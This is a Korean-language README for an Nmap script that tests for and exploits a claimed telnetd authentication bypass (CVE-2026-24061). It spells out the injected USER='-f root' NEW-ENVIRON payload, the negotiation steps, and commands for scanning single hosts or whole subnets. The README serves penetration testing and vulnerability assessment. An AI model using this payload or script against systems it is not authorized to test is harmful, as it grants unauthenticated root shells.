
스크립트는 실제 telnet -a 클라이언트 세션의 정확한 바이트 시퀀스를 미러링하여 전체 Telnet 협상을 수행합니다.
root사용 목적: 공인된 침투 테스트 및 취약점 평가 전용입니다.
명시적인 서면 허가 없이 시스템에 대해 이 스크립트를 실행하는 것은 불법입니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-24061 |
| 영향 범위 | GNU InetUtils telnetd 1.9.3 – 2.7 |
| CVSSv3 점수 | 9.8 Critical |
| 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 유형 | 인증 우회 (CWE-287) |
| 공개일 | 2026-01-01 |
GNU InetUtils telnetd는 Telnet NEW-ENVIRON 옵션(RFC 1572)을 사용하여 협상 단계에서 클라이언트로부터 환경 변수를 수신합니다. 그런 다음 login(1) 프로그램이 해당 변수로 호출됩니다.
취약점은 telnetd가 USER 변수를 검증 없이 login에 직접 전달하기 때문에 발생합니다. Linux의 login 프로그램은 *"사전 인증됨, 비밀번호 확인 안 함"*을 의미하는 -f <user> 플래그를 허용합니다. NEW-ENVIRON 페이로드를 통해 USER="-f root"를 주입함으로써 공격자는 인증을 완전히 우회합니다.
Client → Server: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
Server response: spawns login -f root → root shell, no password required
| 필드 | 값 |
|---|---|
| 파일명 | telnet-vuln-cve-2026-24061.nse |
| 카테고리 | vuln, exploit, intrusive |
| 포트 | TCP/23 (telnet) |
| 테스트 환경 | Nmap 7.94 / 7.98, Windows & Linux |
이 스크립트는 실제 telnet -a 클라이언트 세션(Wireshark 캡처에서 재구성)의 정확한 바이트 시퀀스를 미러링하는 전체 Telnet 협상을 수행합니다:
DO TTYPE, DO TSPEED, DO ENVIRON, …) 수신WILL TTYPE, WILL LINEMODE, …)으로 응답SB TSPEED, SB ENVIRON, SB TTYPE)USER='-f <user>' 주입WILL ECHO / DO BINARY / WONT LINEMODE 시퀀스 완료결과 상태:
| 상태 | 의미 |
|---|---|
EXPLOIT | 셸 프롬프트 수신 — 우회 확인됨 |
LIKELY_VULN | ENV 페이로드 수락됨, 비밀번호 프롬프트 없음, 그러나 셸 프롬프트 없음 |
NOT_VULN | 비밀번호 프롬프트가 보이거나, 협상이 완료되지 않음 |
# Nmap 스크립트 디렉토리로 복사
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# 스크립트 데이터베이스 업데이트
sudo nmap --script-updatedb
# Nmap 스크립트 디렉토리로 복사 (필요시 경로 조정)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# 스크립트 데이터베이스 업데이트 (관리자 권한으로 실행)
nmap --script-updatedb
nmap -p 23 --script telnet-vuln-cve-2026-24061 <target>
# 짧은 형식
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <target>
# 중간 형식
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <target>
# 완전한 형식
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali <target>
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v <target> # 상세
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d <target> # 디버그
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <target> # 전체 hex 추적
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| GNU InetUtils telnetd Authentication Bypass
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2026-24061
| Risk factor: Critical CVSSv3: 9.8
| Description:
| The telnetd service in GNU InetUtils (1.9.3 - 2.7) allows
| authentication bypass via a crafted USER environment variable.
| Sending '-f <user>' results in an unauthenticated login shell.
| Extra information:
| Authentication bypassed: shell prompt received after injecting
| USER='-f root' -- no password challenge was presented.
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
PORT STATE SERVICE
23/tcp open telnet
(스크립트 출력 없음 — NOT_VULN은 표준 Nmap 규칙에 따라 기본적으로 무음 처리됨)
| 인자 | 별칭(들) | 기본값 | 설명 |
|---|---|---|---|
telnet-vuln-cve-2026-24061.user | telnet-user, user | root | -f를 통해 주입할 사용자 이름 |
GNU InetUtils telnetd는 터미널 I/O 모드를 결정하기 위해 Linemode 협상(RFC 1184)을 사용합니다. 서버는 협상 초기에 DO LINEMODE를 보내고, 클라이언트는 처음에 WILL LINEMODE로 응답합니다. ENV 페이로드 교환 후, 서버는 WILL ECHO 다음에 DO BINARY를 보냅니다. 이 시점에서 클라이언트는 반드시 WONT LINEMODE로 응답하여 문자 단위 모드를 알려야 합니다 — 그래야만 telnetd가 PTY 설정(ioctl TIOCSWINSZ)을 완료하고 login을 포크할 수 있습니다. 이 단계가 없으면 서버는 peer died: Inappropriate ioctl for device를 기록하고 연결을 끊습니다.
Nmap의 NSE 소켓 API는 표준 Lua 소켓 규칙과 다릅니다:
-- Nmap NSE (올바른 방법):
local status, data = sock:receive_bytes(1)
if status == true then -- data is the received string
이 스크립트는 공인된 보안 테스트 및 연구 목적으로만 제공됩니다. 저자는 이 도구로 인한 오용이나 피해에 대해 책임을 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.